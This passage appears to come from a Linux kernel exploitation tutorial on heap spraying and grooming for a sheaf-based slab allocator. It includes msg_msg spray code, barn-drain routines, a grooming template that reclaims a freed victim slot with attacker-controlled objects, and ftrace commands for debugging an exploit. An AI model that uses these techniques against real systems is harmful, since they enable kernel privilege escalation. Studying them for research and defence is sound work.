Part 2. Heap Spray & Grooming

01 Grooming K6 vs K7 — Fundamental Differences

Aspect	Kernel 6.x Grooming	Kernel 7.0 Grooming
Target state	Freelist chain inside slab page	objects[] array inside slab_sheaf
Pointer encoding	XOR-encoded — must brute-force or leak	Unencoded — directly visible
Allocation order	LIFO via freelist head pointer	LIFO via objects[--size] (same, simpler)
CPU affinity	Percpu via cpu_slab	Percpu via cpu_sheaves — must pin CPU
Partial list handling	Drain per-node partial list	Drain barn.sheaves_full
Granularity	Per-object inside slab page	Per-sheaf (batch of objects)
Key challenge	Predict freelist order	Predict sheaf assignment + slot index

> ℹ️ **INFO**
> GOOD NEWS: Because objects[] is not encoded, if an attacker has an info leak that exposes a pointer from objects[], they can immediately determine what is on the heap without needing to compute an XOR transform. This makes read primitives more powerful in K7.

02 Understanding LIFO Sheaf Allocation

slab_sheaf uses LIFO (Last In, First Out) — the last object placed into objects[] is the first returned during allocation:

```
/* LIFO: alloc takes from the end of the array */
alloc_from_sheaf(sheaf):
    if sheaf->size == 0: refill_from_barn()
    obj = sheaf->objects[--sheaf->size]   /* size decrements, take from top */
    sheaf->objects[sheaf->size] = NULL    /* clear slot */
    return obj

/* LIFO: free appends to the end of the array */
free_to_sheaf(sheaf, ptr):
    if sheaf->size == sheaf->capacity: drain_to_barn()
    sheaf->objects[sheaf->size++] = ptr   /* size increments */
    return
```

03 Grooming Strategies for Sheaves

Strategy A — Sheaf Fill (Overflow to Barn)

Fill the current CPU's percpu sheaf until full, forcing the old sheaf to drain to the barn and a new sheaf to be fetched:

```
/* Pin to CPU for consistency (avoid preemption) */
sched_setaffinity(0, &cpuset_cpu0);

/* Allocate more than 1 sheaf capacity (e.g., 64 objects for capacity=32) */
#define FILL_COUNT 64
void *fill[FILL_COUNT];
for (int i = 0; i < FILL_COUNT; i++)
    fill[i] = malloc(SIZE_CLASS);  /* syscall triggering kmalloc-128 */

/* Now percpu sheaf contains all our objects */
/* Free to arrange slots exactly as needed */
```

Strategy B — Barn Preload (Cross-CPU Control)

```
/* If we need to control allocations from another CPU, preload the barn */
/* Thread 1 (CPU 0): drain barn with many allocs */
/* Thread 2 (CPU 1): trigger alloc → must request from barn */

void *barn_preload_thread(void *arg) {
    sched_setaffinity(0, &cpuset_cpu1);
    /* Allocate many → all go to barn after sheaf is full */
    for (int i = 0; i < 256; i++)
        barn_fill[i] = make_spray_object();
    /* Now barn is full of our objects */
    /* When CPU 1 allocates, it will get our controlled objects */
    return NULL;
}
```

04 Best Spray Objects per Size Class

Size Class	Spray Method	Syscall	Data Control
kmalloc-64	pipe_buffer	pipe()	Yes via write/read
kmalloc-128	msg_msg (header)	msgsnd()	Yes via payload
kmalloc-256	msg_msg or sk_buff	msgsnd()/sendmsg()	Yes
kmalloc-512	user_key_payload	add_key()	Yes — data filled directly from userspace
kmalloc-1024	seq_file buffer	open(/proc/...)	Partial
kmalloc-4096	iovec/sendmsg large	sendmsg()	Yes

msg_msg — Spray Object for K7

```
#include <sys/msg.h>

struct spray_msg {
    long  mtype;
    char  mtext[120];  /* 128 - 8 byte header = 120 bytes payload */
};

#define N_QUEUES   64
#define N_MSGS     32   /* matching sheaf capacity */

int msgq[N_QUEUES];
struct spray_msg smsg = { .mtype = 1 };

void spray_heap_kmalloc128() {
    for (int q = 0; q < N_QUEUES; q++) {
        msgq[q] = msgget(IPC_PRIVATE, 0600|IPC_CREAT);
        for (int m = 0; m < N_MSGS; m++) {
            memset(smsg.mtext, 0x41 + q, 120);  /* fill with pattern */
            msgsnd(msgq[q], &smsg, 120, 0);
        }
    }
}
```

05 Barn Drain Technique

For cross-cache attacks or to 'reset' the heap to a clean state, we need to drain the barn of all existing sheaves:

```
/* To drain the barn: allocate a very large number of objects */
/* until barn is exhausted → page allocator forced to provide new pages */
/* Then free everything → barn refills with sheaves from our spray */

#define BARN_DRAIN_COUNT  2048

void *barn_drain_ptrs[BARN_DRAIN_COUNT];

void drain_and_refill_barn(int size_class) {
    /* Phase 1: massive allocation → barn exhausted */
    for (int i = 0; i < BARN_DRAIN_COUNT; i++)
        barn_drain_ptrs[i] = trigger_kmalloc(size_class);

    /* Phase 2: free all → barn now holds our sheaves */
    for (int i = 0; i < BARN_DRAIN_COUNT; i++)
        trigger_kfree(barn_drain_ptrs[i]);

    /* Now barn contains sheaves filled with our controlled objects */
}
```

06 Complete Grooming Template — K7

```
/*
```

```
 * Complete grooming template for kernel 7.0
 * Target: control a slot in slab_sheaf.objects[] on percpu CPU0
 * Size class: kmalloc-128 (struct size 128 bytes)
 */

#define TARGET_CPU     0
#define SHEAF_CAP      32    /* estimated sheaf capacity */
#define FILL_ABOVE     8     /* how many slots to leave empty at the top */

void groom_for_vuln_at_slot(int target_slot) {
    cpu_set_t cs;
    CPU_ZERO(&cs); CPU_SET(TARGET_CPU, &cs);
    sched_setaffinity(0, sizeof(cs), &cs);

    /* Step 1: Drain barn */
    drain_and_refill_barn(128);

    /* Step 2: Fill sheaf up to target_slot */
    void *fill[SHEAF_CAP];
    for (int i = 0; i < target_slot; i++)
        fill[i] = trigger_kmalloc(128);

    /* Step 3: Free victim object — lands at objects[target_slot] */
    trigger_victim_free();

    /* Step 4: Keep remaining slots filled */
    for (int i = target_slot + 1; i < SHEAF_CAP - FILL_ABOVE; i++)
        fill[i] = trigger_kmalloc(128);

    /* Step 5: Spray our controlled object — should reclaim slot [target_slot]
*/
    spray_controlled_objects(128, 1);
}
```

07 Debugging Spray with ftrace

```
# Enable function tracer for kmalloc/kfree at target size
echo 0 > /sys/kernel/debug/tracing/tracing_on
echo function > /sys/kernel/debug/tracing/current_tracer
echo kmalloc > /sys/kernel/debug/tracing/set_ftrace_filter
echo kfree >> /sys/kernel/debug/tracing/set_ftrace_filter
echo 1 > /sys/kernel/debug/tracing/tracing_on

# Run exploit, then dump trace
./exploit &
sleep 1
echo 0 > /sys/kernel/debug/tracing/tracing_on
cat /sys/kernel/debug/tracing/trace | grep -E "kmalloc|kfree" | head -100
```